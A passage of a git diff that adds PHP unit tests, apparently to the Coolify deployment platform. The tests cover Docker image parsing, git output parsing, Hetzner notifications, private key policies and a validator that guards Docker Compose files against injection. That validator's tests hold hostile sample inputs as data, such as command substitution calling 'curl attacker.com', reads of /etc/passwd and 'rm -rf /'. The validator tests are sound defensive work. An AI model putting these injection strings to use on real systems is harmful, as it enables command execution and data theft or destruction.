expect($saveCloudInitScript)->toBeBool(); +}); + +it('validates save_cloud_init_script defaults to false', function () { + $saveCloudInitScript = false; + + expect($saveCloudInitScript)->toBeFalse(); +}); + +it('validates cloud-init script can be a bash script', function () { + $cloudInitScript = "#!/bin/bash\napt-get update\napt-get install -y nginx"; + + expect($cloudInitScript)->toBeString() + ->and($cloudInitScript)->toContain('#!/bin/bash'); +}); + +it('validates cloud-init script can be cloud-config yaml', function () { + $cloudInitScript = "#cloud-config\npackages:\n - nginx\n - git"; + + expect($cloudInitScript)->toBeString() + ->and($cloudInitScript)->toContain('#cloud-config'); +}); + +it('validates script name max length is 255 characters', function () { + $scriptName = str_repeat('a', 255); + + expect(strlen($scriptName))->toBe(255) + ->and(strlen($scriptName))->toBeLessThanOrEqual(255); +}); + +it('validates script name exceeding 255 characters should be invalid', function () { + $scriptName = str_repeat('a', 256); + + $isValid = strlen($scriptName) <= 255; + + expect($isValid)->toBeFalse() + ->and(strlen($scriptName))->toBeGreaterThan(255); +}); diff --git a/tests/Unit/DatalistComponentTest.php b/tests/Unit/DatalistComponentTest.php new file mode 100644 index 000000000..12699c30a --- /dev/null +++ b/tests/Unit/DatalistComponentTest.php @@ -0,0 +1,68 @@ +required)->toBeFalse() + ->and($component->disabled)->toBeFalse() + ->and($component->readonly)->toBeFalse() + ->and($component->multiple)->toBeFalse() + ->and($component->instantSave)->toBeFalse() + ->and($component->defaultClass)->toBe('input'); +}); + +it('uses provided id', function () { + $component = new Datalist(id: 'test-datalist'); + + expect($component->id)->toBe('test-datalist'); +}); + +it('accepts multiple selection mode', function () { + $component = new Datalist(multiple: true); + + expect($component->multiple)->toBeTrue(); +}); + +it('accepts instantSave parameter', function () { + $component = new Datalist(instantSave: 'customSave'); + + expect($component->instantSave)->toBe('customSave'); +}); + +it('accepts placeholder', function () { + $component = new Datalist(placeholder: 'Select an option...'); + + expect($component->placeholder)->toBe('Select an option...'); +}); + +it('accepts autofocus', function () { + $component = new Datalist(autofocus: true); + + expect($component->autofocus)->toBeTrue(); +}); + +it('accepts disabled state', function () { + $component = new Datalist(disabled: true); + + expect($component->disabled)->toBeTrue(); +}); + +it('accepts readonly state', function () { + $component = new Datalist(readonly: true); + + expect($component->readonly)->toBeTrue(); +}); + +it('accepts authorization properties', function () { + $component = new Datalist( + canGate: 'update', + canResource: 'resource', + autoDisable: false + ); + + expect($component->canGate)->toBe('update') + ->and($component->canResource)->toBe('resource') + ->and($component->autoDisable)->toBeFalse(); +}); diff --git a/tests/Unit/DockerComposeLabelParsingTest.php b/tests/Unit/DockerComposeLabelParsingTest.php new file mode 100644 index 000000000..a2a3c0883 --- /dev/null +++ b/tests/Unit/DockerComposeLabelParsingTest.php @@ -0,0 +1,79 @@ +toContain('// Handle array values from YAML (e.g., "traefik.enable: true" becomes an array)') + ->toContain('if (is_array($serviceLabel)) {'); +}); + +it('ensures label parsing converts array values to strings', function () { + // Read the parseDockerComposeFile function from shared.php + $sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php'); + + // Check that array to string conversion exists + expect($sharedFile) + ->toContain('// Convert array values to strings') + ->toContain('if (is_array($removedLabel)) {') + ->toContain('$removedLabel = (string) collect($removedLabel)->first();'); +}); + +it('verifies label parsing array check occurs before preg_match', function () { + // Read the parseDockerComposeFile function from shared.php + $sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php'); + + // Get the position of array check and str() call + $arrayCheckPos = strpos($sharedFile, 'if (is_array($serviceLabel)) {'); + $strCallPos = strpos($sharedFile, "str(\$serviceLabel)->contains('=')"); + + // Ensure array check comes before str() call + expect($arrayCheckPos) + ->toBeLessThan($strCallPos) + ->toBeGreaterThan(0); +}); + +it('ensures traefik middleware parsing handles array values in docker.php', function () { + // Read the fqdnLabelsForTraefik function from docker.php + $dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php'); + + // Check that array handling is present before preg_match + expect($dockerFile) + ->toContain('// Handle array values from YAML parsing (e.g., "traefik.enable: true" becomes an array)') + ->toContain('if (is_array($item)) {'); +}); + +it('ensures traefik middleware parsing checks string type before preg_match in docker.php', function () { + // Read the fqdnLabelsForTraefik function from docker.php + $dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php'); + + // Check that string type check exists + expect($dockerFile) + ->toContain('if (! is_string($item)) {') + ->toContain('return null;'); +}); + +it('verifies array check occurs before preg_match in traefik middleware parsing', function () { + // Read the fqdnLabelsForTraefik function from docker.php + $dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php'); + + // Get the position of array check and preg_match call + $arrayCheckPos = strpos($dockerFile, 'if (is_array($item)) {'); + $pregMatchPos = strpos($dockerFile, "preg_match('/traefik\\.http\\.middlewares\\.(.*?)(\\.|$)/', \$item"); + + // Ensure array check comes before preg_match call (find first occurrence after array check) + $pregMatchAfterArrayCheck = strpos($dockerFile, "preg_match('/traefik\\.http\\.middlewares\\.(.*?)(\\.|$)/', \$item", $arrayCheckPos); + expect($arrayCheckPos) + ->toBeLessThan($pregMatchAfterArrayCheck) + ->toBeGreaterThan(0); +}); diff --git a/tests/Unit/DockerImageAutoParseTest.php b/tests/Unit/DockerImageAutoParseTest.php new file mode 100644 index 000000000..2d36ac9a6 --- /dev/null +++ b/tests/Unit/DockerImageAutoParseTest.php @@ -0,0 +1,130 @@ +imageName = 'nginx:stable-alpine3.21-perl'; + $component->imageTag = ''; + $component->imageSha256 = ''; + + $component->updatedImageName(); + + expect($component->imageName)->toBe('nginx') + ->and($component->imageTag)->toBe('stable-alpine3.21-perl') + ->and($component->imageSha256)->toBe(''); +}); + +it('auto-parses complete docker image reference with sha256 digest', function () { + $hash = '4e272eef7ec6a7e76b9c521dcf14a3d397f7c370f48cbdbcfad22f041a1449cb'; + $component = new DockerImage; + $component->imageName = "nginx@sha256:{$hash}"; + $component->imageTag = ''; + $component->imageSha256 = ''; + + $component->updatedImageName(); + + expect($component->imageName)->toBe('nginx') + ->and($component->imageTag)->toBe('') + ->and($component->imageSha256)->toBe($hash); +}); + +it('auto-parses complete docker image reference with tag and sha256 digest', function () { + $hash = '4e272eef7ec6a7e76b9c521dcf14a3d397f7c370f48cbdbcfad22f041a1449cb'; + $component = new DockerImage; + $component->imageName = "nginx:stable-alpine3.21-perl@sha256:{$hash}"; + $component->imageTag = ''; + $component->imageSha256 = ''; + + $component->updatedImageName(); + + // When both tag and digest are present, Docker keeps the tag in the name + // but uses the digest for pulling. The tag becomes part of the image name. + expect($component->imageName)->toBe('nginx:stable-alpine3.21-perl') + ->and($component->imageTag)->toBe('') + ->and($component->imageSha256)->toBe($hash); +}); + +it('auto-parses registry image with port and tag', function () { + $component = new DockerImage; + $component->imageName = 'registry.example.com:5000/myapp:v1.2.3'; + $component->imageTag = ''; + $component->imageSha256 = ''; + + $component->updatedImageName(); + + expect($component->imageName)->toBe('registry.example.com:5000/myapp') + ->and($component->imageTag)->toBe('v1.2.3') + ->and($component->imageSha256)->toBe(''); +}); + +it('auto-parses ghcr image with sha256 digest', function () { + $hash = 'abc123def456789abcdef123456789abcdef123456789abcdef123456789abc1'; + $component = new DockerImage; + $component->imageName = "ghcr.io/user/app@sha256:{$hash}"; + $component->imageTag = ''; + $component->imageSha256 = ''; + + $component->updatedImageName(); + + expect($component->imageName)->toBe('ghcr.io/user/app') + ->and($component->imageTag)->toBe('') + ->and($component->imageSha256)->toBe($hash); +}); + +it('does not auto-parse if user has manually filled tag field', function () { + $component = new DockerImage; + $component->imageTag = 'latest'; // User manually set this FIRST + $component->imageSha256 = ''; + $component->imageName = 'nginx:stable'; // Then user enters image name + + $component->updatedImageName(); + + // Should not auto-parse because tag is already set + expect($component->imageName)->toBe('nginx:stable') + ->and($component->imageTag)->toBe('latest') + ->and($component->imageSha256)->toBe(''); +}); + +it('does not auto-parse if user has manually filled sha256 field', function () { + $hash = '4e272eef7ec6a7e76b9c521dcf14a3d397f7c370f48cbdbcfad22f041a1449cb'; + $component = new DockerImage; + $component->imageSha256 = $hash; // User manually set this FIRST + $component->imageTag = ''; + $component->imageName = 'nginx:stable'; // Then user enters image name + + $component->updatedImageName(); + + // Should not auto-parse because sha256 is already set + expect($component->imageName)->toBe('nginx:stable') + ->and($component->imageTag)->toBe('') + ->and($component->imageSha256)->toBe($hash); +}); + +it('does not auto-parse plain image name without tag or digest', function () { + $component = new DockerImage; + $component->imageName = 'nginx'; + $component->imageTag = ''; + $component->imageSha256 = ''; + + $component->updatedImageName(); + + // Should leave as-is since there's nothing to parse + expect($component->imageName)->toBe('nginx') + ->and($component->imageTag)->toBe('') + ->and($component->imageSha256)->toBe(''); +}); + +it('handles parsing errors gracefully', function () { + $component = new DockerImage; + $component->imageName = 'registry.io:5000/myapp:v1.2.3'; + $component->imageTag = ''; + $component->imageSha256 = ''; + + // Should not throw exception + expect(fn () => $component->updatedImageName())->not->toThrow(\Exception::class); + + // Should successfully parse this valid image + expect($component->imageName)->toBe('registry.io:5000/myapp') + ->and($component->imageTag)->toBe('v1.2.3'); +}); diff --git a/tests/Unit/DockerImageParserTest.php b/tests/Unit/DockerImageParserTest.php index 6102a90b2..43de9797f 100644 --- a/tests/Unit/DockerImageParserTest.php +++ b/tests/Unit/DockerImageParserTest.php @@ -107,3 +107,35 @@ expect($parser->isImageHash())->toBeFalse("Hash {$hash} should not be recognized as valid SHA256"); } }); + +it('correctly parses and normalizes image with full digest including hash', function () { + $parser = new DockerImageParser; + $hash = '59e02939b1bf39f16c93138a28727aec520bb916da021180ae502c61626b3cf0'; + $parser->parse("nginx@sha256:{$hash}"); + + expect($parser->getImageName())->toBe('nginx') + ->and($parser->getTag())->toBe($hash) + ->and($parser->isImageHash())->toBeTrue() + ->and($parser->getFullImageNameWithoutTag())->toBe('nginx') + ->and($parser->toString())->toBe("nginx@sha256:{$hash}"); +}); + +it('correctly parses image when user provides digest-decorated name with colon hash', function () { + $parser = new DockerImageParser; + $hash = 'deadbeef1234567890abcdef1234567890abcdef1234567890abcdef12345678'; + + // User might provide: nginx@sha256:deadbeef... + // This should be parsed correctly without duplication + $parser->parse("nginx@sha256:{$hash}"); + + $imageName = $parser->getFullImageNameWithoutTag(); + if ($parser->isImageHash() && ! str_ends_with($imageName, '@sha256')) { + $imageName .= '@sha256'; + } + + // The result should be: nginx@sha256 (name) + deadbeef... (tag) + // NOT: nginx:deadbeef...@sha256 or nginx@sha256:deadbeef...@sha256 + expect($imageName)->toBe('nginx@sha256') + ->and($parser->getTag())->toBe($hash) + ->and($parser->isImageHash())->toBeTrue(); +}); diff --git a/tests/Unit/GitLsRemoteParsingTest.php b/tests/Unit/GitLsRemoteParsingTest.php new file mode 100644 index 000000000..fce51a210 --- /dev/null +++ b/tests/Unit/GitLsRemoteParsingTest.php @@ -0,0 +1,77 @@ +toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf'); +}); + +it('extracts commit SHA from git ls-remote output with redirect warning on separate line', function () { + $output = "warning: redirecting to https://tangled.org/@tangled.org/core/\n196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master"; + + preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches); + $commit = $matches[1] ?? null; + + expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf'); +}); + +it('extracts commit SHA from git ls-remote output with redirect warning on same line', function () { + // This is the actual format from tangled.sh - warning and result on same line, no newline + $output = "warning: redirecting to https://tangled.org/@tangled.org/core/196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/master"; + + preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches); + $commit = $matches[1] ?? null; + + expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf'); +}); + +it('extracts commit SHA from git ls-remote output with multiple warning lines', function () { + $output = "warning: redirecting to https://example.org/repo/\ninfo: some other message\n196d3df7665359a8c8fa3329a6bcde0267e550bf\trefs/heads/main"; + + preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches); + $commit = $matches[1] ?? null; + + expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf'); +}); + +it('handles git ls-remote output with extra whitespace', function () { + $output = " 196d3df7665359a8c8fa3329a6bcde0267e550bf \trefs/heads/master"; + + preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches); + $commit = $matches[1] ?? null; + + expect($commit)->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf'); +}); + +it('extracts commit SHA with uppercase letters and normalizes to lowercase', function () { + $output = "196D3DF7665359A8C8FA3329A6BCDE0267E550BF\trefs/heads/master"; + + preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches); + $commit = $matches[1] ?? null; + + // Git SHAs are case-insensitive, so we normalize to lowercase for comparison + expect(strtolower($commit))->toBe('196d3df7665359a8c8fa3329a6bcde0267e550bf'); +}); + +it('returns null when no commit SHA is present in output', function () { + $output = "warning: redirecting to https://example.org/repo/\nError: repository not found"; + + preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches); + $commit = $matches[1] ?? null; + + expect($commit)->toBeNull(); +}); + +it('returns null when output has tab but no valid SHA', function () { + $output = "invalid-sha-format\trefs/heads/master"; + + preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches); + $commit = $matches[1] ?? null; + + expect($commit)->toBeNull(); +}); diff --git a/tests/Unit/GlobalSearchNewImageQuickActionTest.php b/tests/Unit/GlobalSearchNewImageQuickActionTest.php new file mode 100644 index 000000000..4ef566ab3 --- /dev/null +++ b/tests/Unit/GlobalSearchNewImageQuickActionTest.php @@ -0,0 +1,44 @@ +toContain('item.quickcommand') + ->toContain('quickcommand.toLowerCase().includes(trimmed)'); +}); + +it('ensures GlobalSearch clears search query when starting resource creation', function () { + $globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php'); + + // Check that navigateToResourceCreation clears the search query + expect($globalSearchFile) + ->toContain('$this->searchQuery = \'\''); +}); + +it('ensures GlobalSearch uses Livewire redirect method', function () { + $globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php'); + + // Check that completeResourceCreation uses $this->redirect() + expect($globalSearchFile) + ->toContain('$this->redirect(route(\'project.resource.create\''); +}); + +it('ensures docker-image item has quickcommand with new image', function () { + $globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php'); + + // Check that Docker Image has the correct quickcommand + expect($globalSearchFile) + ->toContain("'name' => 'Docker Image'") + ->toContain("'quickcommand' => '(type: new image)'") + ->toContain("'type' => 'docker-image'"); +}); diff --git a/tests/Unit/HetznerDeletionFailedNotificationTest.php b/tests/Unit/HetznerDeletionFailedNotificationTest.php new file mode 100644 index 000000000..6cb9f0bb3 --- /dev/null +++ b/tests/Unit/HetznerDeletionFailedNotificationTest.php @@ -0,0 +1,114 @@ +toBeInstanceOf(HetznerDeletionFailed::class) + ->and($notification->hetznerServerId)->toBe(12345) + ->and($notification->teamId)->toBe(1) + ->and($notification->errorMessage)->toBe('Hetzner API error: Server not found'); +}); + +it('uses hetzner_deletion_failed event for channels', function () { + $notification = new HetznerDeletionFailed( + hetznerServerId: 12345, + teamId: 1, + errorMessage: 'Test error' + ); + + $mockNotifiable = Mockery::mock(); + $mockNotifiable->shouldReceive('getEnabledChannels') + ->with('hetzner_deletion_failed') + ->once() + ->andReturn([]); + + $channels = $notification->via($mockNotifiable); + + expect($channels)->toBeArray(); +}); + +it('generates correct mail content', function () { + $notification = new HetznerDeletionFailed( + hetznerServerId: 67890, + teamId: 1, + errorMessage: 'Connection timeout' + ); + + $mail = $notification->toMail(); + + expect($mail->subject)->toBe('Coolify: [ACTION REQUIRED] Failed to delete Hetzner server #67890') + ->and($mail->view)->toBe('emails.hetzner-deletion-failed') + ->and($mail->viewData['hetznerServerId'])->toBe(67890) + ->and($mail->viewData['errorMessage'])->toBe('Connection timeout'); +}); + +it('generates correct discord content', function () { + $notification = new HetznerDeletionFailed( + hetznerServerId: 11111, + teamId: 1, + errorMessage: 'API rate limit exceeded' + ); + + $discord = $notification->toDiscord(); + + expect($discord->title)->toContain('Failed to delete Hetzner server') + ->and($discord->description)->toContain('#11111') + ->and($discord->description)->toContain('API rate limit exceeded') + ->and($discord->description)->toContain('may still exist in your Hetzner Cloud account'); +}); + +it('generates correct telegram content', function () { + $notification = new HetznerDeletionFailed( + hetznerServerId: 22222, + teamId: 1, + errorMessage: 'Invalid token' + ); + + $telegram = $notification->toTelegram(); + + expect($telegram)->toBeArray() + ->and($telegram)->toHaveKey('message') + ->and($telegram['message'])->toContain('#22222') + ->and($telegram['message'])->toContain('Invalid token') + ->and($telegram['message'])->toContain('ACTION REQUIRED'); +}); + +it('generates correct pushover content', function () { + $notification = new HetznerDeletionFailed( + hetznerServerId: 33333, + teamId: 1, + errorMessage: 'Network error' + ); + + $pushover = $notification->toPushover(); + + expect($pushover->title)->toBe('Hetzner Server Deletion Failed') + ->and($pushover->level)->toBe('error') + ->and($pushover->message)->toContain('#33333') + ->and($pushover->message)->toContain('Network error'); +}); + +it('generates correct slack content', function () { + $notification = new HetznerDeletionFailed( + hetznerServerId: 44444, + teamId: 1, + errorMessage: 'Permission denied' + ); + + $slack = $notification->toSlack(); + + expect($slack->title)->toContain('Hetzner Server Deletion Failed') + ->and($slack->description)->toContain('#44444') + ->and($slack->description)->toContain('Permission denied'); +}); diff --git a/tests/Unit/HetznerSshKeysTest.php b/tests/Unit/HetznerSshKeysTest.php new file mode 100644 index 000000000..06c6b06e6 --- /dev/null +++ b/tests/Unit/HetznerSshKeysTest.php @@ -0,0 +1,53 @@ +toBe([123, 456, 789]) + ->and(count($sshKeys))->toBe(3); +}); + +it('removes duplicate SSH key IDs', function () { + $coolifyKeyId = 123; + $selectedHetznerKeys = [123, 456, 789]; // User also selected Coolify key + + // Simulate the merge and deduplication logic + $sshKeys = array_merge( + [$coolifyKeyId], + $selectedHetznerKeys + ); + $sshKeys = array_unique($sshKeys); + $sshKeys = array_values($sshKeys); + + expect($sshKeys)->toBe([123, 456, 789]) + ->and(count($sshKeys))->toBe(3); +}); + +it('works with no selected Hetzner keys', function () { + $coolifyKeyId = 123; + $selectedHetznerKeys = []; + + // Simulate the merge logic + $sshKeys = array_merge( + [$coolifyKeyId], + $selectedHetznerKeys + ); + + expect($sshKeys)->toBe([123]) + ->and(count($sshKeys))->toBe(1); +}); + +it('validates SSH key IDs are integers', function () { + $selectedHetznerKeys = [456, 789, 1011]; + + foreach ($selectedHetznerKeys as $keyId) { + expect($keyId)->toBeInt(); + } +}); diff --git a/tests/Unit/Policies/PrivateKeyPolicyTest.php b/tests/Unit/Policies/PrivateKeyPolicyTest.php new file mode 100644 index 000000000..dd0037403 --- /dev/null +++ b/tests/Unit/Policies/PrivateKeyPolicyTest.php @@ -0,0 +1,209 @@ + 0, 'pivot' => (object) ['role' => 'admin']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $privateKey = new class + { + public $team_id = 0; + }; + + $policy = new PrivateKeyPolicy; + expect($policy->view($user, $privateKey))->toBeTrue(); +}); + +it('allows root team owner to view system private key', function () { + $teams = collect([ + (object) ['id' => 0, 'pivot' => (object) ['role' => 'owner']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $privateKey = new class + { + public $team_id = 0; + }; + + $policy = new PrivateKeyPolicy; + expect($policy->view($user, $privateKey))->toBeTrue(); +}); + +it('denies regular member of root team to view system private key', function () { + $teams = collect([ + (object) ['id' => 0, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $privateKey = new class + { + public $team_id = 0; + }; + + $policy = new PrivateKeyPolicy; + expect($policy->view($user, $privateKey))->toBeFalse(); +}); + +it('denies non-root team member to view system private key', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $privateKey = new class + { + public $team_id = 0; + }; + + $policy = new PrivateKeyPolicy; + expect($policy->view($user, $privateKey))->toBeFalse(); +}); + +it('allows team member to view their own team private key', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $privateKey = new class + { + public $team_id = 1; + }; + + $policy = new PrivateKeyPolicy; + expect($policy->view($user, $privateKey))->toBeTrue(); +}); + +it('denies team member to view another team private key', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $privateKey = new class + { + public $team_id = 2; + }; + + $policy = new PrivateKeyPolicy; + expect($policy->view($user, $privateKey))->toBeFalse(); +}); + +it('allows root team admin to update system private key', function () { + $teams = collect([ + (object) ['id' => 0, 'pivot' => (object) ['role' => 'admin']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $privateKey = new class + { + public $team_id = 0; + }; + + $policy = new PrivateKeyPolicy; + expect($policy->update($user, $privateKey))->toBeTrue(); +}); + +it('denies root team member to update system private key', function () { + $teams = collect([ + (object) ['id' => 0, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $privateKey = new class + { + public $team_id = 0; + }; + + $policy = new PrivateKeyPolicy; + expect($policy->update($user, $privateKey))->toBeFalse(); +}); + +it('allows team admin to update their own team private key', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $privateKey = new class + { + public $team_id = 1; + }; + + $policy = new PrivateKeyPolicy; + expect($policy->update($user, $privateKey))->toBeTrue(); +}); + +it('denies team member to update their own team private key', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $privateKey = new class + { + public $team_id = 1; + }; + + $policy = new PrivateKeyPolicy; + expect($policy->update($user, $privateKey))->toBeFalse(); +}); + +it('allows root team admin to delete system private key', function () { + $teams = collect([ + (object) ['id' => 0, 'pivot' => (object) ['role' => 'admin']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $privateKey = new class + { + public $team_id = 0; + }; + + $policy = new PrivateKeyPolicy; + expect($policy->delete($user, $privateKey))->toBeTrue(); +}); + +it('denies root team member to delete system private key', function () { + $teams = collect([ + (object) ['id' => 0, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $privateKey = new class + { + public $team_id = 0; + }; + + $policy = new PrivateKeyPolicy; + expect($policy->delete($user, $privateKey))->toBeFalse(); +}); diff --git a/tests/Unit/PreSaveValidationTest.php b/tests/Unit/PreSaveValidationTest.php new file mode 100644 index 000000000..c24cf5f89 --- /dev/null +++ b/tests/Unit/PreSaveValidationTest.php @@ -0,0 +1,200 @@ + validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker Compose service name'); +}); + +test('validateDockerComposeForInjection blocks malicious volume paths in string format', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '/tmp/pwn`curl attacker.com`:/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection blocks malicious volume paths in array format', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - type: bind + source: '/tmp/pwn`curl attacker.com`' + target: /app +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection blocks command substitution in volumes', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '$(cat /etc/passwd):/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection blocks pipes in service names', function () { + $maliciousCompose = <<<'YAML' +services: + web|cat /etc/passwd: + image: nginx:latest +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker Compose service name'); +}); + +test('validateDockerComposeForInjection blocks semicolons in volumes', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '/tmp/test; rm -rf /:/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection allows legitimate compose files', function () { + $validCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - /var/www/html:/usr/share/nginx/html + - app-data:/data + db: + image: postgres:15 + volumes: + - db-data:/var/lib/postgresql/data +volumes: + app-data: + db-data: +YAML; + + expect(fn () => validateDockerComposeForInjection($validCompose)) + ->not->toThrow(Exception::class); +}); + +test('validateDockerComposeForInjection allows environment variables in volumes', function () { + $validCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '${DATA_PATH}:/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($validCompose)) + ->not->toThrow(Exception::class); +}); + +test('validateDockerComposeForInjection blocks malicious env var defaults', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '${DATA:-$(cat /etc/passwd)}:/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection requires services section', function () { + $invalidCompose = <<<'YAML' +version: '3' +networks: + mynet: +YAML; + + expect(fn () => validateDockerComposeForInjection($invalidCompose)) + ->toThrow(Exception::class, 'Docker Compose file must contain a "services" section'); +}); + +test('validateDockerComposeForInjection handles empty volumes array', function () { + $validCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: [] +YAML; + + expect(fn () => validateDockerComposeForInjection($validCompose)) + ->not->toThrow(Exception::class); +}); + +test('validateDockerComposeForInjection blocks newlines in volume paths', function () { + $maliciousCompose = "services:\n web:\n image: nginx:latest\n volumes:\n - \"/tmp/test\ncurl attacker.com:/app\""; + + // YAML parser will reject this before our validation (which is good!) + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class); +}); + +test('validateDockerComposeForInjection blocks redirections in volumes', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '/tmp/test > /etc/passwd:/app' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection validates volume targets', function () { + $maliciousCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - '/tmp/safe:/app`curl attacker.com`' +YAML; + + expect(fn () => validateDockerComposeForInjection($maliciousCompose)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('validateDockerComposeForInjection handles multiple services', function () { + $validCompose = <<<'YAML' +services: + web: + image: nginx:latest + volumes: + - /var/www:/usr/share/nginx/html + api: + image: node:18 + volumes: + - /app/src:/usr/src/app + db: + image: postgres:15 +YAML; + + expect(fn () => validateDockerComposeForInjection($validCompose)) + ->not->toThrow(Exception::class); +}); diff --git a/tests/Unit/Rules/ValidCloudInitYamlTest.php b/tests/Unit/Rules/ValidCloudInitYamlTest.php new file mode 100644 index 000000000..f3ea906af --- /dev/null +++ b/tests/Unit/Rules/ValidCloudInitYamlTest.php @@ -0,0 +1,174 @@ +validate('script', $script, function ($message) use (&$valid) { + $valid = false; + }); + + expect($valid)->toBeTrue(); +}); + +it('accepts valid cloud-config YAML without header', function () { + $rule = new ValidCloudInitYaml; + $valid = true; + + $script = <<<'YAML' +users: + - name: demo + groups: sudo +packages: + - nginx +YAML; + + $rule->validate('script', $script, function ($message) use (&$valid) { + $valid = false; + }); + + expect($valid)->toBeTrue(); +}); + +it('accepts valid bash script with shebang', function () { + $rule = new ValidCloudInitYaml; + $valid = true; + + $script = <<<'BASH' +#!/bin/bash +apt update +apt install -y nginx +systemctl start nginx +BASH; + + $rule->validate('script', $script, function ($message) use (&$valid) { + $valid = false; + }); + + expect($valid)->toBeTrue(); +}); + +it('accepts empty or null script', function () { + $rule = new ValidCloudInitYaml; + $valid = true; + + $rule->validate('script', '', function ($message) use (&$valid) { + $valid = false; + }); + + expect($valid)->toBeTrue(); + + $rule->validate('script', null, function ($message) use (&$valid) { + $valid = false; + }); + + expect($valid)->toBeTrue(); +}); + +it('rejects invalid YAML format', function () { + $rule = new ValidCloudInitYaml; + $valid = true; + $errorMessage = ''; + + $script = <<<'YAML' +#cloud-config +users: + - name: demo + groups: sudo + invalid_indentation +packages: + - nginx +YAML; + + $rule->validate('script', $script, function ($message) use (&$valid, &$errorMessage) { + $valid = false; + $errorMessage = $message; + }); + + expect($valid)->toBeFalse(); + 